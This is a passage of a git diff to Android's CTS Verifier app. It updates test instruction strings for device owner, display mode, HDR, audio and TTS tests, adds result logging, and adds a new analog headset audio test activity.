         1. Press the go button to go to the location settings page, set both the main location switch and the work profile location switch enabled.\n
         2. Press home to go to the launcher.\n
         3. Move your position a little bit, verify that location updates toast comes up.\n
@@ -3430,12 +3458,18 @@
     <string name="device_owner_positive_category">Device Owner Tests</string>
     <string name="set_device_owner_button_label">Set up device owner</string>
     <string name="set_device_owner_dialog_title">Set up device owner</string>
+    <string name="grant_headless_system_user_permissions">
+            For this test you need to grant INTERACT_ACROSS_USERS to CtsVerifier by running\n
+            adb shell pm grant --user current com.android.cts.verifier android.permission.INTERACT_ACROSS_USERS\n
+            adb shell pm grant --user 0 com.android.cts.verifier android.permission.INTERACT_ACROSS_USERS\n\n
+    </string>
     <string name="set_device_owner_dialog_text">
             For this test you need to install CtsEmptyDeviceOwner.apk by running\n
             adb install -r -t /path/to/CtsEmptyDeviceOwner.apk\n
             Then you need to set this app as the device owner by running\n
-            adb shell dpm set-device-owner com.android.cts.emptydeviceowner/.EmptyDeviceAdmin
+            adb shell dpm set-device-owner --user 0 com.android.cts.emptydeviceowner/.EmptyDeviceAdmin
     </string>
+
     <string name="device_owner_remove_device_owner_test">Remove device owner</string>
     <string name="device_owner_remove_device_owner_test_info">
             Please check in Settings &gt; Security &gt; Device Administrators if CTSVerifier is
@@ -3444,11 +3478,14 @@
     </string>
     <string name="remove_device_owner_button">Remove device owner</string>
     <string name="device_owner_check_device_owner_test">Check device owner</string>
-    <string name="device_owner_incorrect_device_owner">Missing or incorrect device owner: CTSVerifier is not DO!</string>
+    <string name="device_owner_check_profile_owner_test">Check profile owner</string>
+    <string name="device_owner_incorrect_device_owner">Missing or incorrect device owner: CTSVerifier is not DO for user %1$d!</string>
+    <string name="device_owner_incorrect_profile_owner">Missing or incorrect profile owner: CTSVerifier is not PO for user %1$d!</string>
     <string name="device_owner_wifi_lockdown_test">WiFi configuration lockdown</string>
     <string name="device_owner_wifi_lockdown_info">
             Please enter the SSID and auth method of an available WiFi Access Point and press the button to create a
-            WiFi configuration. This configuration can be seen on Settings &gt; WiFi. The test cases
+            WiFi configuration. This configuration must NOT EXIST yet (you can use Settings &gt; WiFi to verify - if it exists,
+            then select the option to forget it). The test cases
             are going to use this config. Please go through test cases in order (from top to bottom).
     </string>
     <string name="switch_wifi_lockdown_off_button">WiFi config lockdown off</string>
@@ -4663,9 +4700,22 @@
 
     <!-- HDR Capabilities test -->
     <string name="tv_hdr_capabilities_test">HDR Capabilities Test</string>
+    <string name="tv_hdr_capabilities_test_step_hdr_display">HDR Display</string>
+    <string name="tv_hdr_capabilities_test_step_no_display">No Display</string>
+    <string name="tv_hdr_capabilities_test_step_non_hdr_display">Non HDR Display</string>
     <string name="tv_hdr_capabilities_test_info">This test checks if
         Display.getHdrCapabilities correctly reports the HDR capabilities of the display.
     </string>
+    <string name="tv_hdr_connect_no_hdr_display">Connect a non-HDR display and then
+        press the "%s" button, below.
+    </string>
+    <string name="tv_hdr_connect_hdr_display">Connect an HDR display and press
+        the "%s" button, below.
+    </string>
+    <string name="tv_hdr_disconnect_display">Press the "%1$s" button
+        and disconnect the display within %2$d seconds. Wait at least %3$d seconds and then
+        reconnect the display.
+    </string>
     <string name="tv_panel_hdr_types_reported_are_supported">
         The supported HDR types are: %s\nAre all of them supported by the hardware?
     </string>
@@ -4673,6 +4723,31 @@
         Are there other HDR types which are supported by the hardware, but are not listed above?
     </string>
 
+    <!-- Display Modes Test -->
+    <string name="tv_display_modes_test">Display Modes Test</string>
+    <string name="tv_display_modes_test_info">This test checks if Display.getSupportedModes()
+        and Display.getMode() are correctly reporting the supported screen modes.
+    </string>
+    <string name="tv_display_modes_disconnect_display">
+        Press the "%1$s" button and disconnect the display within %2$d seconds. Wait at least %3$d
+        seconds and then reconnect the display.
+    </string>
+    <string name="tv_display_modes_test_step_no_display">No Display</string>
+    <string name="tv_display_modes_test_step_1080p">1080p Display</string>
+    <string name="tv_display_modes_test_step_2160p">2160p Display</string>
+    <string name="tv_display_modes_start_test_button">Start Test</string>
+    <string name="tv_display_modes_connect_2160p_display">
+        Connect a 2160p display and press the "%s" button, below.
+    </string>
+    <string name="tv_display_modes_connect_1080p_display">
+        Connect a 1080p display and press the "%s" button, below.
+    </string>
+    <string name="tv_panel_display_modes_reported_are_supported">
+        The supported display modes are:\n%s\n\nAre all of the above display modes supported by the hardware?
+    </string>
+    <string name="tv_panel_display_modes_supported_are_reported">
+        Are there other modes which are supported by the hardware, but are not listed above?
+    </string>
     <string name="overlay_view_text">Overlay View Dummy Text</string>
     <string name="custom_rating">Example of input app specific custom rating.</string>
 
@@ -4829,6 +4904,15 @@
     <string name="audio_proaudio_nopa_message">This device does not set the FEATURE_AUDIO_PRO
         flag and therefore does not need to run this test.</string>
 
+    <!-- Various test status strings -->
+    <string name="audio_proaudio_pass">Pass</string>
+    <string name="audio_proaudio_latencytoohigh">Latency is too high</string>
+    <string name="audio_proaudio_confidencetoolow">"Insufficient Confidence value"</string>
+    <string name="audio_proaudio_midinotreported">"No MIDI support reported"</string>
+    <string name="audio_proaudio_usbhostnotreported">"No USB Host Mode support reported"</string>
+    <string name="audio_proaudio_usbperipheralnotreported">"No USB Peripheral Mode support reported"</string>
+    <string name="audio_proaudio_hdminotvalid">HDMI support is reported by not valid.</string>
+
     <!--  MIDI Test -->
     <string name="midi_test">MIDI Test</string>
     <string name="ndk_midi_test">Native MIDI API Test</string>
@@ -4870,9 +4954,9 @@
     <string name="midiFailedJNILbl">Failed - JNI Error.</string>
 
     <!-- Audio general text -->
-    <string name="audio_general_headset_port_exists">Does this device have a headset port?</string>
-    <string name="audio_general_headset_no">No</string>
-    <string name="audio_general_headset_yes">Yes</string>
+    <string name="audio_wired_exists">Does this device support wired USB or Analog audio peripherals?</string>
+    <string name="audio_wired_no">No</string>
+    <string name="audio_wired_yes">Yes</string>
     <string name="audio_general_deficiency_found">WARNING: Some results show potential deficiencies on the system.
     Please consider addressing them for a future release.</string>
     <string name="audio_general_test_passed">Test Result: Successful</string>
@@ -5029,7 +5113,24 @@
     <string name="vr_test_usb_noise_instructions">TEST USB NOISE: Connect USB microphone and position it right next to microphone under test.
         Position speakers 40 cms from device under test. Press [PLAY] to play broadband white noise. Press [TEST]</string>
 
-
+    <!-- Analog Headset Test -->
+    <string name="audio_headset_audio_test">Analog Headset Audio Test</string>
+    <string name="analog_headset_query">Does this Android device have an analog headset jack?</string>
+    <string name="analog_headset_play">Play</string>
+    <string name="analog_headset_stop">Stop</string>
+    <string name="analog_headset_success_question">Was the audio correctly played through the headset/headphones?</string>
+    <string name="analog_headset_keycodes_label">Headset Keycodes</string>
+    <string name="analog_headset_headsethook">HEADSETHOOK</string>
+    <string name="analog_headset_volup">VOLUME_UP</string>
+    <string name="analog_headset_voldown">VOLUME_DOWN</string>
+    <string name="analog_headset_test">Analog Headset Test</string>
+    <string name="analog_headset_test_info">
+        This test tests the following functionality with respect to wired analog headset/headphones.\n
+        1. Correct audio playback.\n
+        2. Plug intents.\n
+        3. Headset keycodes.\n
+        To run this test it is necessary to have an Android device with a 3.5mm analog headset jack and a compatible analog headset with Hook, Volume Up and Volume Down buttons.
+    </string>
     <!-- Audio AEC Test -->
     <string name="audio_aec_test">Audio Acoustic Echo Cancellation (AEC) Test</string>
     <string name="audio_aec_info">
@@ -5232,7 +5333,8 @@
       can receive incoming calls after it has been set.
     </string>
     <string name="dialer_incoming_call_detected">Detected the incoming call. Activity passed.</string>
-    <string name="dialer_check_incoming_call_explanation">Call the device.</string>
+    <string name="dialer_check_incoming_call_explanation">Call the device and end the call in the
+        pop up in-call UI.</string>
     <string name="dialer_check_incoming_call">Verify Call Received</string>
 
     <!-- Strings for VoicemailSettingsCheck test -->
@@ -5256,6 +5358,7 @@
     <string name="dialer_shows_hun_explanation">Call the device.
         Check the box if the heads up notification was shown containing the text
         \"CTS Incoming Call Notification\", and only one incoming call notification was shown.
+        Also a pop up CtsVerifier in call UI will show.
     </string>
     <string name="dialer_shows_hun_check_box">HUN shown and meets criteria specified above.</string>
     <string name="dialer_incoming_call_hun_teaser">Incoming Call</string>
@@ -5315,7 +5418,7 @@
     <string name="proaudio_info">
        This test requires that you have connected a supported USB Audio Peripheral device
        (not a headset) and that peripheral\'s audio outputs are connected to the peripherals\'s
-       audio inputs. Alternatively, for devices with an analog audio jack or USB-c Digital
+       audio inputs. Alternatively, for devices with an analog audio jack or USB-C Digital
        to Analog dongle, a <a href="https://source.android.com/devices/audio/latency/loopback">Loopback Plug</a>
        can be used. Also, if there is an input level
        control on the peripheral, it must be set to a non-zero value. When the test has
@@ -5593,7 +5696,8 @@
     <string name="uap_test_no">No</string>
     <string name="uap_test_yes">Yes</string>
     <string name="uap_test_info">Info</string>
-    <string name="uap_test_question">Does this device allow for the connectiono of a USB reference microphone?</string>
+    <string name="uap_test_question">Does this device allow for the connection of a USB audio peripheral?\nNote: phones and tablets generally do, watches and automobiles generally do not.</string>
+    <string name="uap_refmic_question">Does this device allow for the connection of a USB reference microphone?</string>
     <string name="uap_mic_dlg_caption">USB Host Mode Audio Required</string>
     <string name="uap_mic_dlg_text">This test requires a USB audio peripheral to be connected to the device.
     If the device under test does not support USB Host Mode Audio (either because it does not have a
@@ -5616,6 +5720,15 @@
     Note: Devices declaring feature android.hardware.audio.pro MUST implement USB host mode (CDD 5.10 C-1-3) and if they omit a 4 conductor 3.5mm audio jack MUST support USB audio class (CDD 5.10 C-3-1)
     </string>
 
+    <string name="loopback_test_question">Does this device allow for the connection of a loopback audio peripheral?</string>
+    <string name="loopback_dlg_caption">Loopback Peripheral Required</string>
+    <string name="loopback_dlg_text">This test requires an Audio Loopback Peripheral to be connected to the device.\n
+        This can be done in one of three ways:\n
+        1. Connect a <a href="https://source.android.com/devices/audio/latency/loopback">Loopback Plug</a> to the 3.5mm headset jack.\n
+        2. Connect a <a href="https://source.android.com/devices/audio/latency/loopback">Loopback Plug</a> to a USB-C headset adapter.\n
+        3. Connect a USB audio interface peripheral and connect the outputs to the inputs with audio patch cables.
+    </string>
+
     <string name="display_cutout_test">DisplayCutout Test</string>
     <string name="display_cutout_test_instruction">\n
     This test is to make sure that the area inside the safe insets from the DisplayCutout should be
@@ -5625,12 +5738,28 @@
     2. All buttons are clickable. \n
     </string>
 
-    <string name="loopback_test_question">Does this device allow for the connection of a loopback audio peripheral?</string>
-    <string name="loopback_dlg_caption">Loopback Peripheral Required</string>
-    <string name="loopback_dlg_text">This test requires an Audio Loopback Peripheral to be connected to the device.\n
-        This can be done in one of three ways:\n
-        1. Connect a <a href="https://source.android.com/devices/audio/latency/loopback">Loopback Plug</a> to the 3.5mm headset jack.\n
-        2. Connect a <a href="https://source.android.com/devices/audio/latency/loopback">Loopback Plug</a> to a USB-C headset adapter.\n
-        3. Connect a USB audio interface peripheral and connect the outputs to the inputs with an audio patch cable.
+    <!-- TTS Test Resources -->
+    <string name="tts_test">TTS Test</string>
+    <string name="tts_test_info">
+      1. Install the CtsTtsEngineSelectorTestHelper and CtsTtsEngineSelectorTestHelper2 apps on the device.\n
+      2. Click on the "Go To Accessibility Settings" button.\n
+      3. Go to Text-to-speech output > Preferred engine.\n
+      4. Ensure that two engines are listed, both named "TTS CTS Test Helper App".\n
+      5. Ensure that each engine can be selected.
     </string>
+    <string name="tts_test_steps">
+      1. Install the CtsTtsEngineSelectorTestHelper and CtsTtsEngineSelectorTestHelper2 apps on the device.\n
+      2. Click on the "Go To Accessibility Settings" button.\n
+      3. Go to Text-to-speech output > Preferred engine.\n
+      4. Ensure that two engines are listed, both named "TTS CTS Test Helper App".\n
+      5. Ensure that each engine can be selected.
+    </string>
+    <string name="tts_accessibility_settings_button">Go To Accessibility Settings</string>
+
+    <!-- Strings for SecurityModeFeatureVerifierActivity test -->
+    <string name="security_mode_feature_verifier_test">SecurityModeFeatureVerifier Test</string>
+    <string name="security_mode_feature_verifier_instructions">This test verifies that the PackageManager.FEATURE_SECURITY_MODEL_COMPATIBLE feature is present.</string>
+    <string name="handheld_or_tablet_text_before_test">Is this a handheld or tablet device?</string>
+    <string name="handheld_or_tablet_yes">Yes</string>
+    <string name="handheld_or_tablet_not_applicable">Not applicable</string>
 </resources>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java b/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
index 39e8301..75a9adc 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
@@ -131,8 +131,6 @@
 
     private static final String CONFIG_HDMI_SOURCE = "config_hdmi_source";
 
-    private static final String CONFIG_TV_PANEL = "config_tv_panel";
-
     private static final String CONFIG_QUICK_SETTINGS_SUPPORTED = "config_quick_settings_supported";
 
     /** The config to represent that a test is only needed to run in the main display mode
@@ -430,13 +428,16 @@
                         }
                         break;
                     case CONFIG_HDMI_SOURCE:
-                        if(isTvPanel()) {
-                            return false;
-                        }
-                        break;
-                    case CONFIG_TV_PANEL:
-                        if(!isTvPanel()) {
-                            return false;
+                        final int DEVICE_TYPE_HDMI_SOURCE = 4;
+                        try {
+                            if (!getHdmiDeviceType().contains(DEVICE_TYPE_HDMI_SOURCE)) {
+                                return false;
+                            }
+                        } catch (Exception exception) {
+                            Log.e(
+                                    LOG_TAG,
+                                    "Exception while looking up HDMI device type.",
+                                    exception);
                         }
                         break;
                     case CONFIG_QUICK_SETTINGS_SUPPORTED:
@@ -452,21 +453,6 @@
         return true;
     }
 
-    private boolean isTvPanel() {
-        final int DEVICE_TYPE_HDMI_SOURCE = 4;
-        try {
-            if (getHdmiDeviceType().contains(DEVICE_TYPE_HDMI_SOURCE)) {
-                return false;
-            }
-        } catch (Exception exception) {
-            Log.e(
-                    LOG_TAG,
-                    "Exception while looking up HDMI device type.",
-                    exception);
-        }
-        return true;
-    }
-
     /**
      * Check if the test should be ran by the given display mode.
      *
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestResult.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestResult.java
index 350d58a..4818484 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestResult.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestResult.java
@@ -24,6 +24,7 @@
 
 import android.app.Activity;
 import android.content.Intent;
+import android.util.Log;
 
 /**
  * Object representing the result of a test activity like whether it succeeded or failed.
@@ -34,6 +35,8 @@
  */
 public class TestResult {
 
+    private static final String TAG = TestResult.class.getSimpleName();
+
     public static final int TEST_RESULT_NOT_EXECUTED = 0;
     public static final int TEST_RESULT_PASSED = 1;
     public static final int TEST_RESULT_FAILED = 2;
@@ -58,6 +61,8 @@
     /** Sets the test activity's result to pass including a test report log result. */
     public static void setPassedResult(Activity activity, String testId, String testDetails,
             ReportLog reportLog) {
+        Log.i(TAG, "setPassedResult(activity=" + activity + ", testId=" + testId
+                + ", testDetails=" + testDetails);
         activity.setResult(Activity.RESULT_OK, createResult(activity, TEST_RESULT_PASSED, testId,
             testDetails, reportLog, null /*history*/));
     }
@@ -65,6 +70,8 @@
     /** Sets the test activity's result to pass including a test report log result and history. */
     public static void setPassedResult(Activity activity, String testId, String testDetails,
             ReportLog reportLog, TestResultHistoryCollection historyCollection) {
+        Log.i(TAG, "setPassedResult(activity=" + activity + ", testId=" + testId
+                + ", testDetails=" + testDetails);
         activity.setResult(Activity.RESULT_OK, createResult(activity, TEST_RESULT_PASSED, testId,
                 testDetails, reportLog, historyCollection));
     }
@@ -77,6 +84,8 @@
     /** Sets the test activity's result to failed including a test report log result. */
     public static void setFailedResult(Activity activity, String testId, String testDetails,
             ReportLog reportLog) {
+        Log.e(TAG, "setFailedResult(activity=" + activity + ", testId=" + testId
+                + ", testDetails=" + testDetails);
         activity.setResult(Activity.RESULT_OK, createResult(activity, TEST_RESULT_FAILED, testId,
                 testDetails, reportLog, null /*history*/));
     }
@@ -84,6 +93,8 @@
     /** Sets the test activity's result to failed including a test report log result and history. */
     public static void setFailedResult(Activity activity, String testId, String testDetails,
             ReportLog reportLog, TestResultHistoryCollection historyCollection) {
+        Log.e(TAG, "setFailedResult(activity=" + activity + ", testId=" + testId
+                + ", testDetails=" + testDetails);
         activity.setResult(Activity.RESULT_OK, createResult(activity, TEST_RESULT_FAILED, testId,
             testDetails, reportLog, historyCollection));
     }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java
new file mode 100644
index 0000000..da9e723
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java
@@ -0,0 +1,416 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.audio;
+
+import com.android.compatibility.common.util.ReportLog;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+
+import android.graphics.Color;
+
+import android.media.AudioDeviceCallback;
+import android.media.AudioDeviceInfo;
+import android.media.AudioManager;
+
+import android.os.Bundle;
+import android.os.Handler;
+
+import android.util.Log;
+
+import android.view.KeyEvent;
+import android.view.View;
+
+import android.widget.Button;
+import android.widget.TextView;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;  // needed to access resource in CTSVerifier project namespace.
+
+// MegaPlayer
+import org.hyphonate.megaaudio.player.AudioSourceProvider;
+import org.hyphonate.megaaudio.player.JavaPlayer;
+import org.hyphonate.megaaudio.player.PlayerBuilder;
+import org.hyphonate.megaaudio.player.sources.SinAudioSourceProvider;
+
+public class AnalogHeadsetAudioActivity
+        extends PassFailButtons.Activity
+        implements View.OnClickListener {
+    private static final String TAG = AnalogHeadsetAudioActivity.class.getSimpleName();
+    private static final boolean DEBUG = false;
+
+    private AudioManager    mAudioManager;
+
+    // UI
+    private Button mHasAnalogPortYesBtn;
+    private Button mHasAnalogPortNoBtn;
+
+    private Button mPlayButton;
+    private Button mStopButton;
+    private Button mPlaybackSuccessBtn;
+    private Button mPlaybackFailBtn;
+
+    private TextView mHeadsetNameText;
+    private TextView mHeadsetPlugMessage;
+
+    private TextView mHeadsetHookText;
+    private TextView mHeadsetVolUpText;
+    private TextView mHeadsetVolDownText;
+
+    // Devices
+    private AudioDeviceInfo mHeadsetDeviceInfo;
+    private boolean mHasHeadsetPort;
+    private boolean mPlugIntentReceived;
+    private boolean mPlaybackSuccess;
+
+    // Intents
+    private HeadsetPlugReceiver mHeadsetPlugReceiver;
+
+    // Buttons
+    private boolean mHasHeadsetHook;
+    private boolean mHasVolUp;
+    private boolean mHasVolDown;
+
+    // Player
+    protected boolean mIsPlaying = false;
+
+    // Mega Player
+    static final int NUM_CHANNELS = 2;
+    static final int SAMPLE_RATE = 48000;
+
+    JavaPlayer mAudioPlayer;
+
+    public AnalogHeadsetAudioActivity() {
+        super();
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.audio_headset_audio_activity);
+
+        mHeadsetNameText = (TextView)findViewById(R.id.headset_analog_name);
+        mHeadsetPlugMessage = (TextView)findViewById(R.id.headset_analog_plug_message);
+
+        // Analog Port?
+        mHasAnalogPortYesBtn = (Button)findViewById(R.id.headset_analog_port_yes);
+        mHasAnalogPortYesBtn.setOnClickListener(this);
+        mHasAnalogPortNoBtn = (Button)findViewById(R.id.headset_analog_port_no);
+        mHasAnalogPortNoBtn.setOnClickListener(this);
+
+        // Player Controls.
+        mPlayButton = (Button)findViewById(R.id.headset_analog_play);
+        mPlayButton.setOnClickListener(this);
+        mStopButton = (Button)findViewById(R.id.headset_analog_stop);
+        mStopButton.setOnClickListener(this);
+
+        // Play Status
+        mPlaybackSuccessBtn = (Button)findViewById(R.id.headset_analog_play_yes);
+        mPlaybackSuccessBtn.setOnClickListener(this);
+        mPlaybackFailBtn = (Button)findViewById(R.id.headset_analog_play_no);
+        mPlaybackFailBtn.setOnClickListener(this);
+
+        // Keycodes
+        mHeadsetHookText = (TextView)findViewById(R.id.headset_keycode_headsethook);
+        mHeadsetVolUpText = (TextView)findViewById(R.id.headset_keycode_volume_up);
+        mHeadsetVolDownText = (TextView)findViewById(R.id.headset_keycode_volume_down);
+
+        mAudioManager = (AudioManager)getSystemService(AUDIO_SERVICE);
+
+        setupPlayer();
+
+        mAudioManager.registerAudioDeviceCallback(new ConnectListener(), new Handler());
+
+        mHeadsetPlugReceiver = new HeadsetPlugReceiver();
+        IntentFilter filter = new IntentFilter();
+        filter.addAction(Intent.ACTION_HEADSET_PLUG);
+        registerReceiver(mHeadsetPlugReceiver, filter);
+
+        showKeyMessagesState();
+
+        setInfoResources(R.string.analog_headset_test, R.string.analog_headset_test_info, -1);
+
+        setPassFailButtonClickListeners();
+        getPassButton().setEnabled(false);
+    }
+
+    //
+    // Reporting
+    //
+    private boolean calculatePass() {
+        if (!mHasHeadsetPort) {
+            return true;
+        } else {
+            return mPlugIntentReceived &&
+                    mHeadsetDeviceInfo != null &&
+                    mPlaybackSuccess &&
+                    mHasHeadsetHook && mHasVolUp && mHasVolDown;
+        }
+    }
+
+    private void reportHeadsetPort(boolean has) {
+        mHasHeadsetPort = has;
+        getReportLog().addValue(
+                "User Reports Headset Port",
+                has ? 1 : 0,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+        if (has) {
+            mHasAnalogPortNoBtn.setEnabled(false);
+        } else {
+            mHasAnalogPortYesBtn.setEnabled(false);
+        }
+        enablePlayerButtons(has && mHeadsetDeviceInfo != null);
+
+        if (!has) {
+            // no port, so can't test. Let them pass
+            getPassButton().setEnabled(true);
+        }
+    }
+
+    private void reportPlugIntent(Intent intent) {
+        // [C-1-4] MUST trigger ACTION_HEADSET_PLUG upon a plug insert,
+        // but only after all contacts on plug are touching their relevant segments on the jack.
+        mPlugIntentReceived = true;
+
+        // state - 0 for unplugged, 1 for plugged.
+        // name - Headset type, human readable string
+        // microphone - 1 if headset has a microphone, 0 otherwise
+
+        int state = intent.getIntExtra("state", -1);
+        if (state != -1) {
+
+            StringBuilder sb = new StringBuilder();
+            sb.append("ACTION_HEADSET_PLUG received - " + (state == 0 ? "Unplugged" : "Plugged"));
+
+            String name = intent.getStringExtra("name");
+            if (name != null) {
+                sb.append(" - " + name);
+            }
+
+            int hasMic = intent.getIntExtra("microphone", 0);
+            if (hasMic == 1) {
+                sb.append(" [mic]");
+            }
+
+            mHeadsetPlugMessage.setText(sb.toString());
+        }
+        getReportLog().addValue(
+                "ACTION_HEADSET_PLUG Intent Received. State: ",
+                state,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+    }
+
+    private void reportPlaybackStatus(boolean success) {
+        // [C-1-1] MUST support audio playback to stereo headphones
+        // and stereo headsets with a microphone.
+        mPlaybackSuccess = success;
+        if (success) {
+            mPlaybackFailBtn.setEnabled(false);
+        } else {
+            mPlaybackSuccessBtn.setEnabled(false);
+        }
+        getPassButton().setEnabled(calculatePass());
+
+        getReportLog().addValue(
+                "User reported headset/headphones playback",
+                success ? 1 : 0,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+    }
+
+    //
+    // UI
+    //
+    private void showConnectedDevice() {
+        if (mHeadsetDeviceInfo != null) {
+            mHeadsetNameText.setText(
+                    mHeadsetDeviceInfo.getType() == AudioDeviceInfo.TYPE_WIRED_HEADSET
+                    ? "Headset Connected"
+                    : "Headphones Connected");
+        } else {
+            mHeadsetNameText.setText("No Headset/Headphones Connected");
+        }
+    }
+
+    private void enablePlayerButtons(boolean enabled) {
+        mPlayButton.setEnabled(enabled);
+        mStopButton.setEnabled(enabled);
+    }
+
+    private void showKeyMessagesState() {
+        mHeadsetHookText.setTextColor(mHasHeadsetHook ? Color.WHITE : Color.GRAY);
+        mHeadsetVolUpText.setTextColor(mHasVolUp ? Color.WHITE : Color.GRAY);
+        mHeadsetVolDownText.setTextColor(mHasVolDown ? Color.WHITE : Color.GRAY);
+    }
+
+    //
+    // Player
+    //
+    protected void setupPlayer() {
+        //
+        // Allocate the source provider for the sort of signal we want to play
+        //
+        AudioSourceProvider sourceProvider = new SinAudioSourceProvider();
+        try {
+            PlayerBuilder builder = new PlayerBuilder();
+            mAudioPlayer = (JavaPlayer)builder
+                    // choose one or the other of these for a Java or an Oboe player
+                    .setPlayerType(PlayerBuilder.TYPE_JAVA)
+                    // .setPlayerType(PlayerBuilder.PLAYER_OBOE)
+                    .setSourceProvider(sourceProvider)
+                    .build();
+        } catch (PlayerBuilder.BadStateException ex) {
+            Log.e(TAG, "Failed MegaPlayer build.");
+        }
+    }
+
+    protected void startPlay() {
+        if (!mIsPlaying) {
+            //TODO - explain the choice of 96 here.
+            mAudioPlayer.setupStream(NUM_CHANNELS, SAMPLE_RATE, 96);
+            mAudioPlayer.startStream();
+            mIsPlaying = true;
+        }
+    }
+
+    protected void stopPlay() {
+        if (mIsPlaying) {
+            mAudioPlayer.stopStream();
+            mAudioPlayer.teardownStream();
+            mIsPlaying = false;
+        }
+    }
+
+    //
+    // View.OnClickHandler
+    //
+    @Override
+    public void onClick(View view) {
+        switch (view.getId()) {
+            case R.id.headset_analog_port_yes:
+                reportHeadsetPort(true);
+                break;
+
+            case R.id.headset_analog_port_no:
+                reportHeadsetPort(false);
+                break;
+
+            case R.id.headset_analog_play:
+                startPlay();
+                break;
+
+            case R.id.headset_analog_stop:
+                stopPlay();
+                break;
+
+            case R.id.headset_analog_play_yes:
+                reportPlaybackStatus(true);
+                break;
+
+            case R.id.headset_analog_play_no:
+                reportPlaybackStatus(false);
+                break;
+        }
+    }
+
+    //
+    // Devices
+    //
+    private void scanPeripheralList(AudioDeviceInfo[] devices) {
+        mHeadsetDeviceInfo = null;
+        for(AudioDeviceInfo devInfo : devices) {
+            if (devInfo.getType() == AudioDeviceInfo.TYPE_WIRED_HEADSET ||
+                    devInfo.getType() == AudioDeviceInfo.TYPE_WIRED_HEADPHONES) {
+                mHeadsetDeviceInfo = devInfo;
+
+                getReportLog().addValue(
+                        (devInfo.getType() == AudioDeviceInfo.TYPE_WIRED_HEADSET
+                                ? "Headset" : "Headphones") + " connected",
+                        0,
+                        ResultType.NEUTRAL,
+                        ResultUnit.NONE);
+                break;
+            }
+        }
+
+        showConnectedDevice();
+        enablePlayerButtons(mHeadsetDeviceInfo != null);
+    }
+
+    private class ConnectListener extends AudioDeviceCallback {
+        /*package*/ ConnectListener() {}
+
+        //
+        // AudioDevicesManager.OnDeviceConnectionListener
+        //
+        @Override
+        public void onAudioDevicesAdded(AudioDeviceInfo[] addedDevices) {
+            Log.i(TAG, "onAudioDevicesAdded() num:" + addedDevices.length);
+
+            scanPeripheralList(mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL));
+        }
+
+        @Override
+        public void onAudioDevicesRemoved(AudioDeviceInfo[] removedDevices) {
+            Log.i(TAG, "onAudioDevicesRemoved() num:" + removedDevices.length);
+
+            scanPeripheralList(mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL));
+        }
+    }
+
+    private class HeadsetPlugReceiver extends BroadcastReceiver {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            reportPlugIntent(intent);
+        }
+    }
+
+    //
+    // Keycodes
+    //
+    @Override
+    public boolean onKeyDown(int keyCode, KeyEvent event) {
+        // Log.i(TAG, "onKeyDown(" + keyCode + ")");
+        switch (keyCode) {
+            case KeyEvent.KEYCODE_HEADSETHOOK:
+                mHasHeadsetHook = true;
+                showKeyMessagesState();
+                getPassButton().setEnabled(calculatePass());
+                break;
+
+            case KeyEvent.KEYCODE_VOLUME_UP:
+                mHasVolUp = true;
+                showKeyMessagesState();
+                getPassButton().setEnabled(calculatePass());
+                break;
+
+            case KeyEvent.KEYCODE_VOLUME_DOWN:
+                mHasVolDown = true;
+                showKeyMessagesState();
+                getPassButton().setEnabled(calculatePass());
+                break;
+        }
+        return super.onKeyDown(keyCode, event);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyLineActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyLineActivity.java
index 1ee118d..5af519b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyLineActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyLineActivity.java
@@ -51,8 +51,8 @@
 
     OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
 
-    Button mHeadsetPortYes;
-    Button mHeadsetPortNo;
+    Button mWiredPortYes;
+    Button mWiredPortNo;
 
     Button mLoopbackPlugReady;
     Button mTestButton;
@@ -106,19 +106,19 @@
                     Log.i(TAG, "audio loopback test");
                     startAudioTest();
                     break;
-                case R.id.audio_general_headset_yes:
-                    Log.i(TAG, "User confirms Headset Port existence");
+                case R.id.audio_wired_yes:
+                    Log.i(TAG, "User confirms wired Port existence");
                     mLoopbackPlugReady.setEnabled(true);
                     recordHeasetPortFound(true);
-                    mHeadsetPortYes.setEnabled(false);
-                    mHeadsetPortNo.setEnabled(false);
+                    mWiredPortYes.setEnabled(false);
+                    mWiredPortNo.setEnabled(false);
                     break;
